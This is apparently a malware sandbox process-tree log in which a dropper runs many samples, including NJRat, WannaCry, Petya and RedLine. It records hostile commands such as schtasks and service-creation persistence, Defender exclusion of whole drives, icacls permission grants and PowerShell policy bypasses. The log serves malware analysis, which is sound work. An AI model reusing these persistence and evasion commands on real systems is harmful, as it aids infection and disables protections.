C:\Users\Admin\AppData\Local\Temp\a\lol1.exelol1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NJRat.exeNJRat.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoWall.exeCryptoWall.exe3⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pkexU0YtxaR3.exepkexU0YtxaR3.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe9z7BGnRGpgs8cZv7.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateManager_3a76" /tr "C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe"C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_e8219df7a9a21088.exefile_e8219df7a9a21088.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe6eq5gvOfRvNmCi54.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rickroll.exerickroll.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Serials_Checker.exeSerials_Checker.exe3⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c "Serials_Checker.bat"4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\MEMZ.exeMEMZ.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jd137.exejd137.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Mova.exeMova.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcoin128.exeqcoin128.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ExtremeInjector.exeExtremeInjector.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\riende.exeriende.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\srtware.exesrtware.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Axam.a.exeAxam.a.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\update.exeupdate.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mKM65Cf6QNqeOVw9.exemKM65Cf6QNqeOVw9.exe3⤵
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "CheckManagerAgent_f549"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "CheckManagerAgent_f549" binpath= "C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe" start= "auto"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\20030520.exe20030520.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\[UPG]CSS.exe[UPG]CSS.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\downloader.exedownloader.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\IMG001.exeIMG001.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe1488.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_274601599365ef96.exefile_274601599365ef96.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\access.exeaccess.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Phantom.exePhantom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\PCclear_Eng_mini.exePCclear_Eng_mini.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Anap.a.exeAnap.a.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exegM9anpOuZNKX8zHj.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateWatch_da78" /tr "C:\Users\Admin\AppData\Roaming\Logs13BE\NetServicea276a.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\XClient.exeXClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\XClient.exeXClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\XClient.exeXClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Petya.A.exePetya.A.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\SharpHound.exeSharpHound.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\64.exe64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file.exefile.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cqms.execqms.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WindowsUpdate.exeWindowsUpdate.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\EmmetPROD.exeEmmetPROD.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeLoader.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\wildfire-test-pe-file.exewildfire-test-pe-file.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kdmapper_Release.exekdmapper_Release.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\alphaTweaks.exealphaTweaks.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Update.exeUpdate.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\uac_bypass.exeuac_bypass.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kdmapper_Release.exekdmapper_Release.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\loader.exeloader.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\setup.exesetup.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\inst77player_1.0.0.1.exeinst77player_1.0.0.1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\shell.exeshell.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jd136.exejd136.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcoin140.exeqcoin140.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\backdoor.exebackdoor.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kg.exekg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\msf.exemsf.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcoin141.exeqcoin141.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\hack1226.exehack1226.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jd124.exejd124.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcoin130.exeqcoin130.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\standalone_payload.exestandalone_payload.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c rundll32.exe lib32.dll payload4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcoin139.exeqcoin139.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\donut.exedonut.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bsg.exebsg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ca75c0dfaf9540ab96d419f67574927f.execa75c0dfaf9540ab96d419f67574927f.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jd144.exejd144.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcoin142.exeqcoin142.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\MS14-068.exeMS14-068.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\MS14-068.exeMS14-068.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bypass.exebypass.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZubovLekciya.exeZubovLekciya.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\javaw.exejavaw.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NoMoreRansom.exeNoMoreRansom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jd156.exejd156.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1003b.exe1003b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Complexo%20v4.exeComplexo%20v4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bmw_v1.7.exebmw_v1.7.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\requirements.exerequirements.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1465810408079_502.exe1465810408079_502.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qcoin133.exeqcoin133.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Hive%20Ransomware.exeHive%20Ransomware.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\LauncherLoader.exeLauncherLoader.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RedLineStealer.exeRedLineStealer.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\PXray_Cast_Sort.exePXray_Cast_Sort.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exefile_f309f8496f916deb.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\20030620.exe20030620.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exeWannaCry.exe3⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h .4⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q4⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 315151789302340.bat4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Jigsaw.exeJigsaw.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jd145.exejd145.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-Built.exeClient-Built.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\taskmoder.exetaskmoder.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cheet.execheet.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sgn.exesgn.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cryptography_module_windows.execryptography_module_windows.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\cryptography_module_windows.execryptography_module_windows.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\GARO%20X.exeGARO%20X.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\VLTKTanthuTN.exeVLTKTanthuTN.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jd127.exejd127.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\black.exeblack.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\0c83aee7a8ad48ecb075c59c5b4957f3.exe0c83aee7a8ad48ecb075c59c5b4957f3.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\xsh.exexsh.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svhost.exesvhost.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Destover.exeDestover.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\UrbanVPN.exeUrbanVPN.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\brbotnet.exebrbotnet.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exefile_b82f2dba4422534f.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\gallery-dl.exegallery-dl.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pvp.exepvp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jeditor.exejeditor.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\AutoGuarder_2.3.7.350.exeAutoGuarder_2.3.7.350.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe21.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\UNP%20Setup.exeUNP%20Setup.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Trojan.Malpack.Themida%20(Anti%20VM).exeTrojan.Malpack.Themida%20(Anti%20VM).exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mininewsplus-2.exemininewsplus-2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fscan32.exefscan32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mini_04.exemini_04.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mini_04.exemini_04.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tips_01.exetips_01.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cabal.execabal.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\nc64.exenc64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\PrivacyPolicy.exePrivacyPolicy.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\PingInfoView.exePingInfoView.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\haozip.convertimg.exehaozip.convertimg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exexeno.V1.3.55.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\news_01.exenews_01.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe lwjw.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
C:\Windows\a\nc64.exenc64.exe3⤵
-
-
C:\Windows\a\haeum.exehaeum.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\6BE1.tmpC:\Users\Admin\AppData\Local\Temp\6BE1.tmp C:\Windows\a4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpfile0.bat""5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Windows\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe3⤵
-
-
C:\Windows\a\tomcat8.exetomcat8.exe3⤵
-
-
C:\Windows\a\donut.exedonut.exe3⤵
-
-
C:\Windows\a\kdmapper_Release.exekdmapper_Release.exe3⤵
-
-
C:\Windows\a\qcoin133.exeqcoin133.exe3⤵
-
-
C:\Windows\a\jd124.exejd124.exe3⤵
-
-
C:\Windows\a\donut.exedonut.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i r.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File dccuac.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File wp.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\a\f3eeb7dfc18246f7bc40a5704a81d193.exef3eeb7dfc18246f7bc40a5704a81d193.exe3⤵
-
-
C:\Windows\a\d0d605c01f71464ea16b25c92892dbe0.exed0d605c01f71464ea16b25c92892dbe0.exe3⤵
-
-
C:\Windows\a\f1c106553ca64defbddc6d82476e8076.exef1c106553ca64defbddc6d82476e8076.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-Petitpotam.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\a\dxwebsetup.exedxwebsetup.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\dxwsetup.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\dxwsetup.exe4⤵
-
-
-
C:\Windows\a\444.exe444.exe3⤵
-
-
C:\Windows\a\343aed2fde0e4a64a80edc50ae7d9de6.exe343aed2fde0e4a64a80edc50ae7d9de6.exe3⤵
-
-
C:\Windows\a\Bugsoft.exeBugsoft.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c c:\windows\jk.bat4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Windows\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\a\cssgo.execssgo.exe3⤵
-
-
C:\Windows\a\Prolin.exeProlin.exe3⤵
-
-
C:\Windows\a\file_4b8d61b5a6f660b5.exefile_4b8d61b5a6f660b5.exe3⤵
-
-
C:\Windows\a\acr-g1upd-639159296668701809.exeacr-g1upd-639159296668701809.exe3⤵
-
-
C:\Windows\a\Doublepulsar-1.3.1.exeDoublepulsar-1.3.1.exe3⤵
-
-
C:\Windows\a\444.exe444.exe3⤵
-
-
C:\Windows\a\Cloudy.exeCloudy.exe3⤵
-
-
C:\Windows\a\Amus.exeAmus.exe3⤵
-
-
C:\Windows\a\qcoin140.exeqcoin140.exe3⤵
-
-
C:\Windows\a\Vikings.exeVikings.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Yota'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\a\Anap.a.exeAnap.a.exe3⤵
-
-
C:\Windows\a\ChatLife.exeChatLife.exe3⤵
-
-
C:\Windows\a\steamerx.exesteamerx.exe3⤵
-
-
C:\Windows\a\pclient.exepclient.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\ScanPort.exeScanPort.exe3⤵
-
-
C:\Windows\a\hell9o.exehell9o.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\regdel.CMD4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\uac_bypass.exeuac_bypass.exe3⤵
-
-
C:\Windows\a\justpoc.exejustpoc.exe3⤵
-
-
C:\Windows\a\php.exephp.exe3⤵
-
-
C:\Windows\a\wildfire-test-pe-file.exewildfire-test-pe-file.exe3⤵
-
-
C:\Windows\a\G7_Update.exeG7_Update.exe3⤵
-
-
C:\Windows\a\self-injection.exeself-injection.exe3⤵
-
-
C:\Windows\a\Konsol.exeKonsol.exe3⤵
-
-
C:\Windows\a\test.exetest.exe3⤵
-
-
C:\Windows\a\file_3a1cc00092af29d0.exefile_3a1cc00092af29d0.exe3⤵
-
-
C:\Windows\a\hilton.exehilton.exe3⤵
-
-
C:\Windows\a\jd127.exejd127.exe3⤵
-
-
C:\Windows\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Windows\a\svchost.exesvchost.exe3⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\Update.exeUpdate.exe3⤵
-
-
C:\Windows\a\script.exescript.exe3⤵
-
-
C:\Windows\a\hack.exehack.exe3⤵
-
C:\windows\system32\mspaint.exeC:\windows\system32\mspaint.exe4⤵
-
-
-
C:\Windows\a\downloader.exedownloader.exe3⤵
-
-
C:\Windows\a\setup.exesetup.exe3⤵
-
-
C:\Windows\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
-
C:\Windows\a\ac67795cbe1f491785c528b3ce7e02f7.exeac67795cbe1f491785c528b3ce7e02f7.exe3⤵
-
-
C:\Windows\a\1223.exe1223.exe3⤵
-
-
C:\Windows\a\d6a0dbb9ae834113a8401012b1f9aa18.exed6a0dbb9ae834113a8401012b1f9aa18.exe3⤵
-
-
C:\Windows\a\rxd_en_1.exerxd_en_1.exe3⤵
-
-
C:\Windows\a\plantrojan.exeplantrojan.exe3⤵
-
-
C:\Windows\a\qcoin142.exeqcoin142.exe3⤵
-
-
C:\Windows\a\access.exeaccess.exe3⤵
-
-
C:\Windows\a\pkexU0YtxaR3.exepkexU0YtxaR3.exe3⤵
-
-
C:\Windows\a\shell.exeshell.exe3⤵
-
-
C:\Windows\a\bnkrigkawd.exebnkrigkawd.exe3⤵
-
-
C:\Windows\a\26bd033dff764587836ef1b2e13d79eb.exe26bd033dff764587836ef1b2e13d79eb.exe3⤵
-
-
C:\Windows\a\keepon.exekeepon.exe3⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Windows\a\jd145.exejd145.exe3⤵
-
-
C:\Windows\a\jd156.exejd156.exe3⤵
-
-
C:\Windows\a\Serials_Checker.exeSerials_Checker.exe3⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c "Serials_Checker.bat"4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\World%20of%20Tanks.exeWorld%20of%20Tanks.exe3⤵
-
-
C:\Windows\a\2d7aaa6d163f48458905a62516fc1390.exe2d7aaa6d163f48458905a62516fc1390.exe3⤵
-
-
C:\Windows\a\Notepad.exeNotepad.exe3⤵
-
C:\Windows\a\Notepad.exe"C:\Windows\a\Notepad.exe"4⤵
-
-
-
C:\Windows\a\LauncherLoader.exeLauncherLoader.exe3⤵
-
-
C:\Windows\a\EmmetPROD.exeEmmetPROD.exe3⤵
-
-
C:\Windows\a\jd137.exejd137.exe3⤵
-
-
C:\Windows\a\ExtremeInjector.exeExtremeInjector.exe3⤵
-
-
C:\Windows\a\VLTKTanthuTN.exeVLTKTanthuTN.exe3⤵
-
-
C:\Windows\a\CryptoWall.exeCryptoWall.exe3⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
-
-
-
-
C:\Windows\a\qcoin139.exeqcoin139.exe3⤵
-
-
C:\Windows\a\Client-built.exeClient-built.exe3⤵
-
-
C:\Windows\a\XClient.exeXClient.exe3⤵
-
-
C:\Windows\a\6eq5gvOfRvNmCi54.exe6eq5gvOfRvNmCi54.exe3⤵
-
-
C:\Windows\a\1488.exe1488.exe3⤵
-
-
C:\Windows\a\Mova.exeMova.exe3⤵
-
-
C:\Windows\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\a\rmd_en_1.exermd_en_1.exe3⤵
-
-
C:\Windows\a\ljgksdtihd.exeljgksdtihd.exe3⤵
-
-
C:\Windows\a\AutoGuarder_2.3.7.350.exeAutoGuarder_2.3.7.350.exe3⤵
-
-
C:\Windows\a\jd144.exejd144.exe3⤵
-
-
C:\Windows\a\1465810408079_502.exe1465810408079_502.exe3⤵
-
-
C:\Windows\a\jd136.exejd136.exe3⤵
-
-
C:\Windows\a\XW_Setup.exeXW_Setup.exe3⤵
-
-
C:\Windows\a\rod_en_1.exerod_en_1.exe3⤵
-
-
C:\Windows\a\ShellHost.exeShellHost.exe3⤵
-
-
C:\Windows\a\9z7BGnRGpgs8cZv7.exe9z7BGnRGpgs8cZv7.exe3⤵
-
-
C:\Windows\a\qcoin128.exeqcoin128.exe3⤵
-
-
C:\Windows\a\ClassTicket.exeClassTicket.exe3⤵
-
-
C:\Windows\a\Updater.exeUpdater.exe3⤵
-
-
C:\Windows\a\cvf.execvf.exe3⤵
-
C:\Windows\a\cvf.execvf.exe4⤵
-
-
-
C:\Windows\a\riende.exeriende.exe3⤵
-
-
C:\Windows\a\chrome_134.exechrome_134.exe3⤵
-
-
C:\Windows\a\OGFN%20Updater.exeOGFN%20Updater.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo off4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\file_ea7a051a82d4b3b5.exefile_ea7a051a82d4b3b5.exe3⤵
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /F /IM BridgeAgent.exe4⤵
- Kills process with taskkill
-
-
-
C:\Windows\a\taskmoder.exetaskmoder.exe3⤵
-
-
C:\Windows\a\adm_atu.exeadm_atu.exe3⤵
-
-
C:\Windows\a\cryptography_module_windows.execryptography_module_windows.exe3⤵
-
C:\Windows\a\cryptography_module_windows.execryptography_module_windows.exe4⤵
-
-
-
C:\Windows\a\IMG001.exeIMG001.exe3⤵
-
-
C:\Windows\a\rickroll.exerickroll.exe3⤵
-
-
C:\Windows\a\AddMeFast%20Bot.exeAddMeFast%20Bot.exe3⤵
-
-
C:\Windows\a\Yellow%20Pages%20Scraper.exeYellow%20Pages%20Scraper.exe3⤵
-
-
C:\Windows\a\doitallmain.exedoitallmain.exe3⤵
-
-
C:\Windows\a\RambledMime.exeRambledMime.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
-
C:\Windows\a\bmw_v1.7.exebmw_v1.7.exe3⤵
-
-
C:\Windows\a\giftorder.exegiftorder.exe3⤵
-
-
C:\Windows\a\e89f8067ad444d60b2ca4bba298d964a.exee89f8067ad444d60b2ca4bba298d964a.exe3⤵
-
-
C:\Windows\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Windows\a\ledshow1.exeledshow1.exe3⤵
-
-
C:\Windows\a\WindowsUpdate.exeWindowsUpdate.exe3⤵
-
-
C:\Windows\a\mKM65Cf6QNqeOVw9.exemKM65Cf6QNqeOVw9.exe3⤵
-
-
C:\Windows\a\file_f309f8496f916deb.exefile_f309f8496f916deb.exe3⤵
-
-
C:\Windows\a\xsh.exexsh.exe3⤵
-
-
C:\Windows\a\gM9anpOuZNKX8zHj.exegM9anpOuZNKX8zHj.exe3⤵
-
-
C:\Windows\a\64.exe64.exe3⤵
-
-
C:\Windows\a\qcoin141.exeqcoin141.exe3⤵
-
-
C:\Windows\a\qcoin130.exeqcoin130.exe3⤵
-
-
C:\Windows\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Windows\a\ProcessHide32.exeProcessHide32.exe3⤵
-
-
C:\Windows\a\WannaCry.exeWannaCry.exe3⤵
-
